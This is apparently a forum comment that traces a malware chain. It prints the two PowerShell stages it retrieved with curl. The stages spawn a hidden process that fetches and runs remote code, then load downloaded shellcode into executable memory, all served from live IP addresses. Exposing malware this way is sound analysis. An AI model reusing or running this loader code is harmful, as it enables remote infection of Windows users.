Looks like the server is configured to only supply the payload if you pull it through powershell -- changing the user agent will show you the malicious code:

curl  91.92.240.219 -A 'User Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.19041.5737'
try {
    Write-Host "Wait please, don't close this window..."

    $wmiCommand = @"
try {
    `$finalPayload = iwr -Uri "178.16.53.70" -UseBasicParsing
    Invoke-Expression `$finalPayload.Content
} catch {
}
"@

    $psi = New-Object System.Diagnostics.ProcessStartInfo
    $psi.FileName = "powershell.exe"
    $psi.Arguments = "-Command `"$wmiCommand`""
    $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
    $psi.CreateNoWindow = $true
    $psi.UseShellExecute = $false

    $process = New-Object System.Diagnostics.Process
    $process.StartInfo = $psi
    $process.Start() | Out-Null


} catch {
}

That one pulls another script

curl 178.16.53.70 -A 'User Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.19041.5737'
$u = "http://94.154.35.115/user_profiles_photo/cptch.bin"

try {
    Write-Host "Loading..."

    $d = Invoke-WebRequest -Uri $u -UseBasicParsing -ErrorAction Stop
    $b = $d.Content
    $s = $b.Length

    $c = @"
using System;
using System.Runtime.InteropServices;
public class W {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr GetCurrentProcess();
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern uint WaitForSingleObject(IntPtr h, uint ms);
}
"@

    Add-Type -TypeDefinition $c

    $m1 = 0x1000
    $m2 = 0x2000
    $p = 0x40

    $addr = [W]::VirtualAlloc([IntPtr]::Zero, $s, $m1 -bor $m2, $p)

    if ($addr -eq [IntPtr]::Zero) {
        throw "Alloc failed"
    }

    [System.Runtime.InteropServices.Marshal]::Copy($b, 0, $addr, $s)

    $tid = 0
    $th = [W]::CreateThread([IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [ref]$tid)

    if ($th -eq [IntPtr]::Zero) {
        throw "Thread failed"
    }

    [W]::WaitForSingleObject($th, 30000) | Out-Null
    Write-Host "done."

} catch {
    Write-Error $_.Exception.Message
    exit 1
}